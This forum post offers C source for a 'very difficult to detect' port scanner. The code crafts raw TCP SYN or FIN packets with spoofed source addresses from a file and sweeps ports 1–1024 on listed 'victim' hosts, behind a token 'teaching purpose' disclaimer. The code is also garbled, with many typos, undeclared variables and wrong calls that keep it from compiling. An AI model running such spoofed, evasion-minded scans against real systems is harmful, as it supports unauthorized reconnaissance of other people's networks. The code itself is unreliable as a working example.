Show DevBest Undetectable PORT SCANNER

Status
Not open for further replies.

Pro123

New Member
Feb 20, 2011
21
0
Hello.Everyone may be having a question in their mind that how to create a PORT SCANNER[undetectable].

Here;s the script which is created by me.

Hello this is a port scanner which is very difficult to detect.


*Warning = This is only for teaching purpose,PLEASE DO NOT MISUSE.I will not be responsible FOR any ISSUES from this.



Here is goes.


Code:
#define _FAVOR_BSD
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netinet/in_system.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<unistd.h>
#include<time.h>
#include<netdb.h>

struct viclist {
  struct in_addr victim;
struct viclist *link;
};

struct slist {
  struct in_addr spoof;
struct slist*link;
};

int
main (int argc,char*argv[])
{
int i=0;
int sock;
int on=1;
struct sockaddr_in sockstruct;
struct ip *iphead;
char evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)];
int seq,ack;
FILE *victimfile;
FILE *spoofile;
char buffer[256];
struct viclist *vcur, *vfirst;
struct slist *scur, *sfirst;
bzero(evilpacket,sizeof(evilpacket));

vfirst=malloc(sizeof(struct viclist));
vcur=vfirst;
vcur->link=NULL;

sfirst=malloc(sizeof(struct viclist));
scur=sfirst;
scur->link=NULL;

if(argc<4){
printf("Usage : %s scan_type ((S)yn / (F)in") spoof_file victim_file\n" "Example : %s S spooffile victimfile\n",argv[0],argv[o]);
exit(-1);
};

if((strncmp(argv[1],"S",1)) && (strncmp(argv[1],"F",1))) {
pritnf("\nScan type not specified");
exit(-1);
}
if((spooffile=fopen((char*)argv[2],"r")) <=0 ) {
perror(fopen);
exit(-1);
} else {
while(fgets(buffer,255,spooffile)) {
if(!(inet_aton(buffer,&(scur->spoof))))
printf("Invalid address found in the victim file..ignoring\n ");

else {
scur->link=malloc(sizeof(struct list));
scur=scur->link;
scur->link=NULL;
}
};
bzero(buffer,sizeof(buffer));
};

fclose(spooffile);
scur=sfirst;
while(scur->link!=NULL) {
printf("Found Spoof host : %s\n",inet_ntoa(scur->spoof));
scur=scur->link;
};
scur=sfirst;

if((victimfile=fopen((char*)argv[3],"r")) <=0) {
perror(fopen);
exit(-1);
} else {
while(fgets{buffer,255,victimfile)) {
if(!(inet_aton(buffer,&(vcur->victim))))
printf("Invalid address found in victim file..ignoring\n");
else {
vcur->link=malloc(sizeof(struct viclist));
vcur=vcur->link;
vcur->link=NULL;
}
};
bzero(buffer,sizeof(buffer));
};
fclose(victimfile);
vcur=vfirst;
while(vcur->link!=NULL) {
printf("Found Victim host : %s \n",inet_ntao(vcur->victim));
vcur=vcur->link;
};
vcur=vfirst;
if((sock=socket(AF_INET,SOCK_RAW.IPPROTO_RAW)) <0) {
perror("socket");
exit(-1);
}
sockstruct.sin_family=AF_INET;
iphead=(structip *)evilpacket;
tcphead=(struct tcphdr*) (evilpacket+sizeof(struct ip));
iphead->ip_hl=5;
iphead->ip_v=4;
iphead->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
iphead->ip_id=htons(getpid());
iphead->ip_tl=255;
iphead->ip_p=IPPROTO_TCP;
iphead->ip_sum=0;
iphead->ip_toss=o;
iphead->ip_off=0;
tcphead->th_win=htons(512);
if(!(atrncmp(argv[1],"s",1)))
tcphead->th_flags=TH_SYN;
else
tcphead->th_flags=TH_FIN;
tcphead->th_off=0x50;

while(vcur->link!=NULL) {
iphead->ip_dst = vcur->victim;
sleep(1);
while(scur->link!=Null)
{
seq = rand() % time(NULL);
ack = rand() % time(NULL);
tcphead->ip_src=scur->spoof;
sockstruct.sin_addr=scur->spoof;
sleep(1);
for(i = 1;i<=1024;i++){
seq+=(rand() %10)+50;
ack+=(rand() %10)+50;
stand(getpid());
tcphead->th_seq=htonl(seq);
tcphead->th_ack=htonl(ack);
tcphead->th_dport=htonl(i);
sendto(sock,&evilpacket,sizeof(evilpacket),0x0,(struct sockaddr *) & sockstruct,sizeof(sockstruct));
}
scur=scur->link;
}
scur=sfirst;
vcur=vcur->link;
}
return(1);

};
 
Status
Not open for further replies.

Users who are viewing this thread

Top